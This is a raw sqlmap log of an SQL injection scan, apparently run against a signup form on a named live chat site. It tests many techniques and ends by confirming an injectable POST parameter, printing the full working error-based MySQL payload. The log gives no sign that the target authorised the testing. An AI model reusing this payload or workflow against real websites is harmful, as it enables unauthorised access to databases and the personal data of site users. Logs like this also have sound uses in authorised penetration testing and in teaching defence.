[20:52:46] [INFO] fetched random HTTP User-Agent header from file 'D:\Pentest\Sql_inj\PentestBox\bin\WebApplications\sqlmap\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
[20:52:47] [INFO] testing connection to the target URL
[20:52:53] [INFO] heuristics detected web page charset 'ascii'
[20:52:53] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
[20:52:54] [INFO] heuristic (XSS) test shows that (custom) POST parameter '#1*' might be vulnerable to XSS attacks
[20:52:54] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[20:52:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[20:52:55] [WARNING] reflective value(s) found and filtering out
[20:53:01] [INFO] (custom) POST parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[20:53:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:53:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:53:30] [INFO] target URL appears to be UNION injectable with 1 columns
[20:53:34] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[20:54:02] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
[20:54:23] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
[20:54:44] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
[20:55:03] [INFO] testing 'Generic UNION query (random number) - 42 to 60 columns'
[20:55:23] [INFO] testing 'Generic UNION query (NULL) - 62 to 80 columns'
[20:55:42] [INFO] testing 'Generic UNION query (random number) - 62 to 80 columns'
sqlmap got a 302 redirect to 'http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
[20:56:08] [INFO] testing 'Generic UNION query (NULL) - 82 to 100 columns'
[20:56:15] [INFO] testing 'Generic UNION query (random number) - 82 to 100 columns'
[20:56:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[20:56:25] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[20:56:33] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
[20:56:38] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
[20:56:43] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
[20:56:48] [INFO] testing 'MySQL UNION query (random number) - 42 to 60 columns'
[20:56:53] [INFO] testing 'MySQL UNION query (NULL) - 62 to 80 columns'
[20:56:58] [INFO] testing 'MySQL UNION query (random number) - 62 to 80 columns'
[20:57:03] [INFO] testing 'MySQL UNION query (NULL) - 82 to 100 columns'
[20:57:08] [INFO] testing 'MySQL UNION query (random number) - 82 to 100 columns'
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 400 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: nickname=&gender_id=1 AND (SELECT 9140 FROM(SELECT COUNT(*),CONCAT(0x71707a7071,(SELECT (ELT(9140=9140,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&region_id=city_2466&cv=Geef hier een omschrijving van jezelf.&coupon[]=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium
---
[20:57:16] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0